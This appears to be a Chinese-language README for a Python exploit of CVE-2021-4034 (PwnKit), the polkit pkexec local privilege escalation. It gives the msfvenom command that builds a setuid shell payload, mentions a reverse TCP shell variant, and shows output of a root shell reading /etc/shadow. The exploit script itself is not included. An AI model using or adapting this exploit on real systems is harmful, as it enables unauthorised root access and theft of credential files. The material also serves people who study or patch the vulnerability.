Python3 代码,用于利用 CVE-2021-4034 (PWNKIT)。 这是一次“我能否用 Python 实现这个?”的练习,并非 作为健壮的利用代码。它在我这里能跑通,可能还有 bug。
默认载荷会以 root 身份启动一个 shell,由 msfvenom 生成:
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
我也测试过 linux/x64/shell_reverse_tcp。请确保在 msfvenom 命令中包含
PrependSetuid=true 参数,否则你只会得到一个
以当前用户身份运行的 shell,而不是 root。
$ python CVE-2021-4034.py
[+] 正在为利用代码创建共享库。
[+] 正在调用 execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#